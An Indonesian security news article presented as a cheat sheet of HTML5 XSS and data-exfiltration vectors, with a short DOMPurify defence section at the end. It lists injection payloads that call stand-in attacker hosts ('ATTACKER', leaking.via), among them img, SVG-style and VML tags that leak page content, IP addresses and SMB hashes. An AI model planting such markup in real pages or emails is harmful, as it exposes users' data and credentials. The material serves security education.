Cheat Sheet Keamanan HTML5: Vektor Serangan XSS dan Teknik Eksfiltrasi Data

28 Sep 2024

sysbraykr.com news - HTML5 membawa sejumlah fitur baru yang memperkaya interaktivitas dan pengalaman pengguna di web. Namun, bersamaan dengan fitur-fitur ini, datang pula potensi risiko keamanan yang harus diperhatikan, terutama dalam konteks XSS (Cross-Site Scripting) dan injeksi HTML. Dalam artikel ini, kita akan membahas beberapa vektor serangan XSS, payload eksfiltrasi data, serta teknik untuk memanfaatkan fitur HTML5 dengan cara yang berpotensi mengekspos kelemahan.


HTML5sec: Vektor Serangan XSS dan Uji Coba Payload


Situs html5sec.org menyediakan hampir 150 vektor serangan XSS, yang bisa diuji melalui demo dalam iframe dengan berbagai DTD (Document Type Definitions) seperti HTML5, HTML4, dan XHTML. Contoh payload untuk alert(1) disediakan dengan ekstensi file berbeda, seperti css, html, js, svg, swf, pdf, dan lainnya.


Contoh payload termasuk berbagai jenis injeksi yang dapat digunakan untuk uji coba terhadap halaman web rentan. Sebagai contoh:

  • <img dynsrc="https://leaking.via/img-dynsrc">

  • <video controls><source src="https://leaking.via/video-source-src" type="video/mp4"></video>

  • <style>@import url(https://leaking.via/css-import-url);</style>

  • <svg><rect cursor="url(https://leaking.via/svg-cursor),auto" /></svg>

Vektor-vektor ini dapat digunakan untuk memeriksa bagaimana sistem menangani input tak terpercaya yang diembed ke dalam HTML.


Eksfiltrasi Data dengan Elemen HTML5


Sering kali, injeksi HTML tidak hanya digunakan untuk serangan XSS, tetapi juga untuk mencuri informasi dari sistem target. Contoh elemen HTML yang dapat memicu permintaan sumber daya eksternal (seperti gambar atau file CSS) dapat dimanfaatkan untuk out-of-band (OOB) data exfiltration.

  • Elemen HTML yang dapat memicu permintaan sumber daya:

  • <img src="http://ATTACKER/?q=[data]"> – Mengirimkan data dari halaman ke server penyerang.

  • <svg><style>circle { background-image: url(https://ATTACKER/200); }</style><circle></circle></svg> – Digunakan untuk mencuri data pengguna ketika mereka membuka email di klien email rentan.

Ini sering kali menjadi dasar serangan seperti tracker pixels, yang digunakan untuk melacak pengguna melalui email yang mereka buka.

Contoh Nyata dari Serangan Eksfiltrasi HTML5


Berikut beberapa contoh serangan nyata di mana fitur HTML5 atau XSS dimanfaatkan untuk mengeksfiltrasi data:


Serangan Dangling Markup di Chrome

  • Skenario: Ketika halaman HTTP dimigrasikan ke HTTPS.

  • Payload: <img src="http://ATTACKER/?q=content_leak">

  • Hasil: Bocornya konten halaman.

Kebocoran IP di ProtonMail

  • Skenario: Pengguna membuka email dengan gambar SVG.

  • Payload: <svg><style>circle { background-image: url(https://ATTACKER/200); }</style><circle></circle></svg>

  • Hasil: IP pengguna bocor ketika membuka email.


Kebocoran IP dan Isi File di macOS

  • Skenario: Pengguna membuka file teks di aplikasi TextEdit macOS.

  • Payload: Menggunakan <iframe> untuk mengakses file lokal.

  • Hasil: Kebocoran alamat IP dan isi file lokal.

Pembajakan SMB Hash di Microsoft Outlook

  • Skenario: Pengguna membuka email dengan elemen VML (Vector Markup Language).

  • Payload: <v:background><v:fill src="its:/ATTACKER/foobar"></v:fill></v:background>

  • Hasil: Permintaan SMB/WebDAV eksternal, memungkinkan penyerang mendapatkan hash SMB pengguna.


Mengamankan Aplikasi Web dari Injeksi HTML dan XSS


Untuk melindungi aplikasi dari serangan ini, sangat penting untuk menggunakan alat dan teknik yang tepat seperti DOMPurify, sebuah pustaka JavaScript yang digunakan untuk memurnikan input HTML dan mencegah injeksi kode berbahaya.


DOMPurify
melakukan sanitasi terhadap HTML yang disuntikkan dan mencegah eksekusi payload berbahaya. Ini dapat membantu dalam mencegah berbagai serangan injeksi HTML dan XSS.


Kesimpulan


Dengan memahami vektor serangan yang tersedia melalui HTML5 dan elemen-elemen terkait, peneliti keamanan dapat lebih baik dalam mengidentifikasi potensi kerentanan dalam aplikasi web. Penggunaan payload dan teknik eksfiltrasi yang cerdas memungkinkan eksploitasi celah dalam sistem yang tidak terlindungi dengan baik. Di sisi lain, aplikasi yang aman harus selalu memperbarui mekanisme sanitasi dan filtrasi input untuk mencegah serangan ini.

Cheat Sheet Keamanan HTML5: Vektor Serangan XSS dan Teknik Eksfiltrasi Data

Latest Articles